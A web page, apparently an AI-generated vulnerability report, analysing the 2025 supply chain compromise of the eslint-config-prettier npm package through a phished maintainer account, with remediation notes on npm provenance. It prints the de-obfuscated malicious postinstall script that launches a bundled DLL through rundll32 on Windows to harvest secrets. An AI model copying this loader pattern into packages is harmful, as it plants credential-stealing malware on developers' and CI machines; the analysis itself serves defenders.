CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-54313

CVE-2025-54313: When Prettier Got Ugly

Alon Barad
Alon Barad
Software Engineer

Feb 14, 2026·5 min read·56 visits

Executive Summary (TL;DR)

Attackers hijacked the npm account for `eslint-config-prettier` and published versions 10.1.6 and 10.1.7 containing malware. Upon installation, a `postinstall` script executes a malicious DLL on Windows systems to steal secrets. Immediate update to 10.1.8+ and credential rotation is required.

A sophisticated supply chain attack targeting the popular `eslint-config-prettier` npm package. Attackers compromised a maintainer account via a typosquatted phishing domain (`npnjs.com`), allowing them to publish malicious versions containing a Windows-specific DLL payload. This incident highlights the fragility of the JavaScript ecosystem's implicit trust model.

The Hook: The Trojan Horse in Your Linter

Let's be honest: nobody actually audits their devDependencies. You type npm install, you see the progress bar spin, and you go get a coffee. We trust that eslint-config-prettier—a tool designed solely to stop your coworkers from arguing about semicolons—is safe. It’s the perfect hiding spot. It’s boring, it’s ubiquitous, and it runs with full user privileges the moment you install it.

On July 18, 2025, that trust was weaponized. Several versions of this incredibly popular package (along with friends like synckit and @pkgr/core) were updated not with bug fixes, but with a malicious payload. The maintainer, JounQin, hadn't gone rogue; they were just human. They fell for a classic phishing scheme involving a typosquatted domain (npnjs.com), handing over their publishing tokens to an attacker who wasted no time turning a code formatter into a credential stealer.

This isn't a complex buffer overflow or a heap grooming masterpiece. It is a reminder that the strongest lock on the front door (your firewall) doesn't matter if you invite the burglar in for tea (running npm install without --ignore-scripts).

The Flaw: A Human Error, A Systemic Failure

The root cause here is technically CWE-506 (Embedded Malicious Code), but realistically, it's a failure of identity management in the npm ecosystem. The attacker didn't break the encryption; they just asked for the keys. By phishing the maintainer, they gained the ability to publish valid, signed packages that the npm registry happily accepted and distributed to millions of CI/CD pipelines.

The technical flaw lies in the execution model of package managers. By default, npm and yarn execute preinstall, install, and postinstall scripts defined in package.json. These scripts are arbitrary shell commands. In this case, the attacker injected a postinstall hook that ran a file named install.js.

This script was simple, obfuscated JavaScript designed to fly under the radar. It didn't try to exploit a vulnerability in Node.js; it simply used the features Node.js provides to execute a binary. It's not a bug in Node; it's a feature that attackers love.

The Code: The Smoking Gun

Let's look at what the attacker actually shipped. Hidden inside the node_modules directory was a file named install.js. It wasn't doing anything related to linting. Instead, it was performing a platform check.

Here is the de-obfuscated logic of the malicious script:

const os = require('os');
const path = require('path');
const { spawn } = require('child_process');
 
// Target only Windows systems
if (os.platform() === 'win32') {
  const dllPath = path.join(__dirname, './node-gyp.dll');
  
  // The 'main' export is the entry point for the malware
  spawn('rundll32', [dllPath + ',main'], {
    detached: true,
    stdio: 'ignore'
  });
}

See that? rundll32. The attacker bundled a malicious DLL, masquerading as node-gyp.dll (a legitimate-sounding name), and executed it using Windows' built-in dynamic link library runner. This bypasses basic executable whitelisting because rundll32.exe is a trusted Microsoft binary. The malware itself was designed to scrape environment variables—likely hunting for AWS_ACCESS_KEY_ID, NPM_TOKEN, and SLACK_TOKEN—and exfiltrate them. If you were running this on a developer machine or a CI server on Windows, your secrets were gone before the linting even started.

The Exploit: From `npm install` to Pwnage

The exploitation chain is painfully simple, which is what makes supply chain attacks so effective. Here is how it played out in the wild:

  1. Distribution: The attacker publishes eslint-config-prettier@10.1.6. The version bump triggers automated dependency bots (like Renovate or Dependabot) to open PRs in thousands of repositories.
  2. Execution: A developer pulls the branch and runs npm install, or a CI pipeline starts the build process.
  3. Trigger: The postinstall script fires immediately after the package downloads. No import is required. You don't even have to run the linter.
  4. Payload: The script checks if it's running on Windows. If yes, rundll32 spins up the malicious DLL in a detached process.
  5. Persistence: The malware likely establishes a scheduled task or registry run key to survive reboots, though its primary goal appears to be immediate credential harvesting.

> [!NOTE] > The use of rundll32 is a classic 'Living off the Land' (LoLBin) technique. It blends in with normal system activity, making detection difficult for standard antivirus solutions until signatures are updated.

The Fix: Closing the Barn Door

The immediate fix was a scramble. The maintainer regained access, revoked the compromised tokens, and published clean versions (starting at 10.1.8). The npm security team yanked the malicious versions from the registry, but "yanked" just means you can't install them anymore—it doesn't remove them from machines that already have them.

Long term, the maintainer implemented npm provenance. This is a game-changer. It links the package publication process directly to a specific GitHub Action workflow run using OIDC.

The Hardened Workflow:

# .github/workflows/release.yml
permissions:
  id-token: write # Required for provenance
  contents: write
 
jobs:
  release:
    steps:
      - name: Publish
        env:
          NPM_CONFIG_PROVENANCE: true
        run: npm publish

With this in place, a package cannot be published from a developer's laptop or a phished terminal. It must come from the verified CI environment. If you see an npm package without a provenance badge in 2026, you should probably be suspicious.

Official Patches

PrettierClean release removing the malicious artifacts.

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
EPSS Probability
4.59%
Top 11% most exploited

Affected Systems

Windows (x86/x64)Node.js EnvironmentsCI/CD Pipelines

Affected Versions Detail

Product
Affected Versions
Fixed Version
eslint-config-prettier
prettier
10.1.6 - 10.1.710.1.8
synckit
un-ts
0.11.90.11.10
eslint-plugin-prettier
prettier
4.2.2 - 4.2.34.2.4
AttributeDetail
CWE IDCWE-506
Attack VectorNetwork (Supply Chain)
CVSS7.5 (High)
EPSS Score4.59% (High Probability)
ImpactConfidentiality, Integrity
Exploit StatusActive / Weaponized
KEV ListedYes (Jan 22, 2026)

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1218.011Signed Binary Proxy Execution: Rundll32
Defense Evasion
T1566.002Phishing: Spearphishing Link
Initial Access
CWE-506
Embedded Malicious Code

The product contains code that appears to be malicious in nature.

Known Exploits & Detection

GitHubOriginal issue report identifying the malicious versions.
NucleiDetection Template Available

Vulnerability Timeline

Malicious versions published to npm registry.
2025-07-18
Community flags issue on GitHub; maintainer revokes tokens.
2025-07-18
Clean version 10.1.8 released.
2025-07-18
Added to CISA Known Exploited Vulnerabilities (KEV) catalog.
2026-01-22

References & Sources

  • [1]GHSA Advisory: Malicious Code in eslint-config-prettier
  • [2]Socket.dev Analysis of the Supply Chain Attack

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 days ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
8 views•10 min read
•3 days ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
9 views•9 min read
•3 days ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
13 views•10 min read
•3 days ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
10 views•12 min read
•3 days ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
7 views•13 min read
•3 days ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
17 views•9 min read